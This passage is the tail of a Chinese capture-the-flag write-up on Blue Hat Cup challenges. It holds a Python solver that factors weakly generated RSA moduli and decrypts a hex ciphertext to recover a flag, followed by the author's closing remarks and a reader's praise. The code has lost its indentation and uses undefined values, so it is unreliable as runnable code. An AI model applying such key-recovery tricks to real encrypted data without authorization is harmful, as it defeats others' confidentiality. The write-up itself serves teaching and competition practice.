c = "22cca5150ca0bb2132f68302dc7441e52b91ae7252e44cc13ed83e58253a9aaaa55e095ba36748dff7ea21fff553f8c4656e77a508b64da054f1381b7e2d0600bcec6ed9e1cc8d14c2362aaef7a972a714f88e5afb2d39e2d77d0c22a449ca2cfb0802c138f20e0ecbd3c174151cdb8e8ca6d89aa3c503615ebfbc851af5ac51dcfa8b5869b775b57a27b9e4346979180d89b303cae2c5d9e6cabb3c9947837bd8f92333532d4b54dd72ea354000600066328f6f4329147df195ec78a7ab9d39973ce0fd6511e7a0de54737bee64476ba531604f0375b08adf7d768c41ba9e2ba88468d126561a134de79dc0217c1c56d219ca6747103618e46f35281feb9e6050c93e32e26e21ee2c3d495f60db2fad9f9a5c570c9f97aee698024ebff6163ef26e32958872db7c593d7f41f90981b8db45aa01085be1e61f7603ecf3d5c032dd90dea791cd9825299548c0cbe7dadabc157048a7fd5cd4bcb1cfeaf0bd2d679f66ceb0b1c33ec04bd20317f872c85d500a3475833f983fdee59b3f61a731e2a8b9a60bd7d840f46e97f06dd4fd8ad1cb4d13a82da01938801c33835ceaf34e1cf62ebdde7ac68b17c2a236b64ffacd2a0e7258571ce570871aea9ff309df63c0a3abcfa0c05d159a82f9fa3f3ad73944e4ae33c3432c8b65c0d6fe9b560220b14abe5886188fc1e6afa4bb4395669618387224422acf20b519af902225e270"
d = nn - n
q = 0
for d1 in range(2333, 3000):
for d2 in range(2333, 3000):
t = d - d1 * d2
k = t * t - 4 * d1 * d2 * n
if k > 0 and gmpy2.iroot(k, 2)[1]:
q = (t + gmpy2.iroot(k, 2)[0]) // (2 * d1)
p = n // q
e = 65537
ee = gmpy2.next_prime(e)
d1 = gmpy2.invert(e, (p - 1) * (q - 1))
pp = gmpy2.next_prime(p + 2333)
qq = gmpy2.next_prime(q + 2333)
d2 = gmpy2.invert(ee, (pp - 1) * (qq - 1))
for l in range(1, len(c)):
c1, c2 = int(c[:l], 16), int(c[l:], 16)
if c1 < n and c2 < nn:
flag = long_to_bytes(pow(c1, d1, n)) + long_to_bytes(pow(c2, d2, nn))
if "flag" in flag:
print(flag)
总结
这次的蓝帽杯的RE题目难度还是比较高的,我认为还是有很多值得学习点,并且从这些题目中可以看出,RE的题目以及逐渐往自动化和 Crypto 方向靠拢,在题目中经常会结合一些其他方向的知识,如果想要在比赛中快速的解题,掌握一些其他方向的知识也是必不可少的。本文中的方法不一定是最好最快的,但是一定是能够让做题者在做题的过程中学习到一些知识的,希望在比赛过程中即使做出题目的师傅,也可以尝试着跟着本篇文章的思路来解题。本文在编写的过程中有些仓促,难免有些地方存在错误和没有阐述清楚,希望有疑问或者看到错误的师傅可以在评论区与我交流。
师傅tql啊!